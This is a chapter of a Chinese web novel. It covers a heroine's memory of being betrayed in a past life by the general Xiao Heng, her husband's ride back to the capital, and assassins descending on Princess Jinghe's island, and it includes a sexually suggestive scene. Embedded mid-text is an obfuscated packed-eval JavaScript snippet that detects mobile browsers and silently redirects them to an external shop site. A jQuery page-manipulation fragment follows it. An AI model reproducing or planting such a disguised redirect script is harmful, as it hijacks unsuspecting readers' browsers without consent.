“起来吧。”若瑶不会为难一个小丫头的。
不管她是来服侍她或是监视她。
宝婵很清瘦,做事稳当妥帖,甚至比清风明月那两丫头还周到,给她喂药,梳洗,还贴心的开了窗户缝在屋里烧了银碳。
若瑶正有些冷,如今烧了炭火屋子里也暖了起来,正担心着林君尧也无心睡眠,吩咐宝婵拿了几本书看着解闷了。
不知道是不是这丫头的刻意为之,拿来的基本都是瓜洲的杂事纪文。
若瑶皱眉,不由得想起上一世,不记得是怎么惹萧珩不开心了,她跟着也难受,晚上便带着他出门去了红河的胡杨密林,哪里是她小时候常常玩耍的秘密基地。
天空有流淌的星河,地上有潺潺的溪水,周围胡杨盛放,不知名的虫子在地里咕咕鸣叫,她拉着躺在草地上看星河。
萧珩的愁容似乎消散不少,躺在她旁边,双手背在脑后,却不看漫天的星河,闭眼同她讲起了他的故乡。
“我生在江南瓜州,哪里不同与这萧瑟的塞外,现在…现在该是春水碧于天,画船听雨眠的景色吧。”少年音色干净细腻,听着他的话仿佛那未曾见过的江南就浮现在天上的星河之间。
“听起来十分好玩,我从未做过船,老是听南来北往的商贩子们说,真是好奇。”她起来半个身子,一手撑着脑袋侧过头去看他。
“我的母亲是个胡姬,自她怀我之后便被钦天监说是东洵的祸妖,父皇对她本就是一时兴趣,便将她送离上京到了瓜州安顿,好像我真的是灾星,自打我出生开始,东洵就战事连连,直到五岁那年,父皇听信皇后之言下令将我母亲处死,将我送至外邦为质,从此辗转各国,直到来到墨格遇到了你。”
萧珩那时还是个少年郎,诉说起往事来控制不住的泣声连连,她的心也跟着悲戚,她见不得萧珩难过,伸出手轻轻的为他拂去脸上的泪痕。
“等红河的事物安定,我们扮成茶商,去瓜州看看可好,我也想看你童年长大的地方。”她说着温柔的话语,拇指轻轻的摸索着萧珩的面庞。
“好,等一切安定了我带你回瓜州,做乌篷船,吃螃蟹,喝邵丝粥,瓜州的女子出嫁都是身穿大红的喜服做乌篷船出嫁的。”萧珩慢慢的睁开双眼,印入眼帘的是阿勒邱恬静明艳的面庞,她身后是漫天的星辰,仿佛在极速的斗转星移,让他晕眩,可她是定点,他满心满眼只看得眼前的这个人儿了。
“真的吗!”她笑得眉眼弯弯,期待的问:“那我可以再嫁你一次吗,穿着大红色的喜服,做那个乌篷船。”
萧珩的心好似被柔软的大手托着,软得一塌糊涂,火烧云霞的脸有些发烫,不自然的点点头:“好,我答应你,到了瓜州,你再嫁我一次。”
戈壁的风十分清冽,吹在萧珩的脸上,却丝毫降不了他浑身的滚烫,他期盼这风冷些,在冷些,他真的要陷在这温柔乡里走不出去了。
那时的阿勒邱很辛福,期盼着能与丈夫去瓜州呢,看看萧珩童年唯一仅剩的美好境地,她爱萧珩,所以萧珩的一切她都想要了解,哪知道面前这心思单纯的少年郎在诓骗她呢。
以爱之名拿走了红河的兵权,不必大费兵卒便拿下了墨格这个通往西域的高寒要地。
墨格虽小,却联通着古滇与西域,与西羌和北戎也有密道可通,拿下了这个小国,就可以以此设点,控制整个西域,还可震慑北戎。
萧珩拿下墨格这个军功成功回到了东洵,进了军营,又在与北戎的大战中大获全胜,从此南征北战,成为了东殉国赫赫有名的定远大将军。
官家也不得不给他封了迟来多年的王爵,辞了瓜州做封地,封为睿王。
官家死后,新帝继位,孤儿寡母纵使筹划再深也挡不住萧珩的权倾朝野的势头。
萧珩踩着她的尸体一步步上位,除了她不知道还有多少青山白骨铸成了他今日的成就。
若瑶叹息一声,担心着林君尧的境地。
林君尧在济州办案,接到传书心急如焚,纵使违抗了韦相的命令,也快马加鞭的往京城赶回。
韦相是官家和太后唯一的依靠,也是在朝堂上唯一敢和萧珩分庭抗礼的人物,如今去往济州正是奉韦相密令抓回被萧珩党羽藏匿的靖和公主。
靖和公主男宠参与烈林台贪墨一案,只要找到靖和和她的男宠,就可以牵扯出萧珩,给他定罪了。
其实林君尧是不想靖和公主被找到的,他更想她无声无息的“消失”,毕竟他也利用过靖和公主开采矿山,但奈何慧衍迟迟不动手,加之他又和萧珩不对付,干脆利用韦相之手抓捕靖和,还能让萧珩不痛快,一石二鸟之计了。
哪知这个萧珩竟然敢在林府把若瑶抢走!
事情的发生超乎了林君尧的意料,他实在想不到萧珩会有什么理由做出如此大逆不道罔顾人伦的举动。
这消息整个上京都知道了,纷纷说他好人妻,这样的流言蜚语,可不像睿王行事的手笔,太反常了,这说明若瑶对萧珩的重要性已经远超出他的佳话名声了。
他的心脏都快要碎了,怎么又是萧珩!
若瑶到底哪里招惹他了!
马背上的林君尧想了无数种可能性,他之前想过最坏的打算便是萧珩在蓉城的时候心悦若瑶,强迫若瑶与他发生了什么,如今细细想来不对劲!他终于想到了若瑶同她说的那个前世的梦。
难道若瑶真的有前世,还同萧珩有过瓜葛?
自从有了龙骨雪香,若瑶的梦魇就好了,来到上京之后更是从未复发过,连他都渐渐忘记了这一回事。如今细细想若瑶与萧珩的每次对话,真的不对劲。
只是若瑶藏得太好了,他竟然一直没发现!
都怪他,忙于公务,这段时间疏于了对若瑶的照看!
林君尧心急如焚,他不相信什么鬼神阴司报应,就算若瑶是地府里的鬼,他也不怕,她只能是他的,就算他下地狱也要将她抢回来!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199260|150855||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>济州府的蓬莱岛上,有座不大的宅邸,亭台楼榭十分气派,伴随着湖面周围时常的烟雾缭绕,真有几分神仙居的味道了。
“殿下,你随我去天竺吧,那韦相不会放过你的。”一男子半跪在亭台旁美人摇椅的下方,趴在一女子的裙下,带着哀求的声音劝慰道。
“慧衍,本宫意已决,你不要扫我的兴。”美人摇椅上的女人躺着惬意,红裙铺展散落一地,她眼尾微微上弯,眼神高贵魅惑,唇角微微上翘,舌头舔了舔烈焰的红唇,伸出纤长的手指,捏了捏慧衍的下巴:“官家已经不信任我了,但只要萧珩在,我就还是东洵国最尊贵的公主。”
手从脖颈往下,伸进了慧衍交叉的衣领处。
慧衍皱着眉头忍不住闷哼一声,眼神里都是浓墨:“殿下,我担心这次萧珩护不住你。”
摇椅上的女人瞋目,对他这般不解风情很是不悦,伸出在衣领里作乱的手,扶着慧衍的头埋进了自己的衣裙下。
“本宫心乱的很,你现在就好好呵护本宫。”
慧衍愣了一瞬,一声叹息还是顺从了,服侍了靖和公主这么久,他懂得她的敏感,半跪着在摇椅下,肩扛着靖和晃动的腿。
周围的侍女远远的都瞧见了这幅场景,早就见怪不怪了,靖和公主是出了名的离经叛道,全东洵的百姓都知道她好养面首,驸马都活活被她气死在公主府。
现如今被官家下令缉拿,在逃亡的路上还带着七八个面首,真是淫舌乚成性,侍女们捂眼纷纷快走,不敢看那亭台上的香丯色场景。
靖和颤栗着夹着腿,慧衍从大红的裙裾里翻出来抱着她轻轻安慰,两人相拥着躺在宽大的摇椅上,丝毫不知危险将近。
烟雾迷漫的湖面上泛起七八搜轻舟。
船浆划过水面的声音轻得仿佛是鲤鱼吐泡泡,船上井然有序的坐着几行黑衣人,腰间配着北戎的精铁刀,黑巾捂面。
船体靠岸,不过须臾,蓬莱岛上的下人们被抹脖杀尽。
岛上平静如常,被杀的人连呼救的权利都没有。
摇椅上的慧衍似是感受到了什么,贪恋的看着身旁靖和的脸:“殿下,慧衍可能要离你而去了。”
“在说什么胡话。”靖和浓艳的五官皱眉,有些不明所以。
“慧衍!你为了这个女人竟然屡次背叛主人。”
靖和身后冷不丁的响起一句冷冷的男声,回头一看,一群带着寒刀的黑衣人正慢慢想自己靠近。
“来人呀,护驾!”靖和被吓的五官乱颤,从摇椅上跳了起来。
“殿下别怕。”慧衍淡定地起身,带着视死如归的眼神,定定的挡在靖和的面前,这是林君尧的死士,岛上那几个人,怎么能抵挡的了他们,估计早就被杀光了。
靖和凝神看那死士握着的刀上全是血也明白过来了,瞬间吓得脸色惨白死死的握住慧衍身后的衣角。
“你们胆敢杀我就是和睿王做对,诛你九族都算少的!”